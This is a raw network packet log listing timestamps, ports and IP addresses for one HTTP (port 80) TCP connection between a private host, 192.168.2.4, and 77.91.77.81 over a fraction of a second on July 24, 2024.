Jul 24, 2024 02:39:11.457056999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.457071066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.457092047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.457104921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.457139969 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.457142115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.457175970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.457189083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.457207918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.457221985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.457242012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.457254887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.457274914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.457288027 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.457310915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.457320929 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.457340002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.457355976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.457390070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487098932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487160921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487165928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487202883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487209082 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487236977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487245083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487281084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487288952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487322092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487329960 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487355947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487365007 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487387896 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487394094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487426043 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487438917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487471104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487482071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487514019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487525940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487555981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487567902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487588882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487597942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487623930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487629890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487657070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487665892 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487689972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487701893 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487729073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487731934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487761974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487771034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487796068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487802982 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487829924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487837076 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487863064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.487871885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.487904072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.517939091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518007040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518012047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518052101 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518060923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518095970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518105030 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518131018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518140078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518177032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518188000 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518223047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518233061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518255949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518261909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518289089 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518302917 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518337965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518340111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518373013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518383980 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518405914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518420935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518440008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518450022 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518475056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518486023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518512964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518515110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518548012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518562078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518604040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518613100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518652916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518656015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518690109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518702984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518724918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518733978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518758059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518768072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518790960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518804073 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518832922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518841982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518874884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518908978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518910885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518923044 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518942118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518951893 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.518976927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.518984079 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519009113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519021034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519042969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519054890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519083023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519094944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519134045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519140005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519166946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519177914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519201994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519210100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519234896 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519244909 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519269943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519279957 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519306898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519308090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519341946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519349098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519375086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519383907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519408941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519417048 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519448042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519454956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519481897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519490957 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519515991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519526958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519566059 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519603014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519635916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519640923 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519670010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519680977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519705057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519711018 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519737959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519773006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519773006 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519779921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519819021 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519870996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519903898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519917965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519937992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519948959 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.519970894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.519983053 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.520005941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.520015001 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.520051956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.520117998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.520150900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.520162106 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.520185947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.520193100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.520220995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.520234108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.520258904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.520265102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.520301104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.520342112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.520375013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.520380974 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.520407915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.520416021 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.520442009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.520452023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.520476103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.520498037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.520524025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547213078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547256947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547312975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547348976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547384024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547398090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547398090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547398090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547398090 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547420025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547430992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547452927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547487020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547521114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547564030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547581911 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547581911 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547581911 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547581911 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547605038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547688961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547741890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547748089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547776937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547786951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547827959 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547831059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547864914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547878027 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547899008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547910929 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547931910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547945023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547966003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.547981977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.547996998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.548008919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.548031092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.548043013 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.548064947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.548082113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.548098087 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.548110962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.548131943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.548158884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.548167944 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.548171997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.548199892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.548214912 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.548237085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.548249006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.548284054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.551203012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.551263094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.551270008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.551306963 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.551321030 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.551342010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.551356077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.551377058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.551388025 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.551409960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.551425934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.551445961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.551457882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.551482916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.551492929 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.551537991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.584681988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.584800959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.584836006 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.584870100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.584904909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.584925890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.584925890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.584925890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.584954977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.584964991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.584990978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.585025072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.585058928 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.585092068 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.585143089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.585143089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.585143089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.585143089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.585143089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.585143089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.585127115 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.585196972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.585239887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.585273981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.585283995 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.585306883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.585319042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.585340023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.585352898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.585374117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.585382938 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.585407019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.585413933 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.585441113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.585448980 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.585479021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.585484028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.585515022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.585521936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.585556984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.608839035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.608860970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.608877897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.608902931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.608918905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.608933926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.608948946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.608963966 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.608978987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.608994961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.609009027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.609020948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.609020948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.609024048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.609020948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.609020948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.609020948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.609040022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.609045982 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.609055042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.609055996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.609071016 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.609105110 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.609112024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.609127045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.609150887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.609154940 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.609165907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.609173059 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.609181881 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.609191895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.609198093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.609200954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.609214067 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:11.609222889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.609241962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.609251976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:11.609606981 CEST	80	49731	77.91.77.81	192.168.2.4
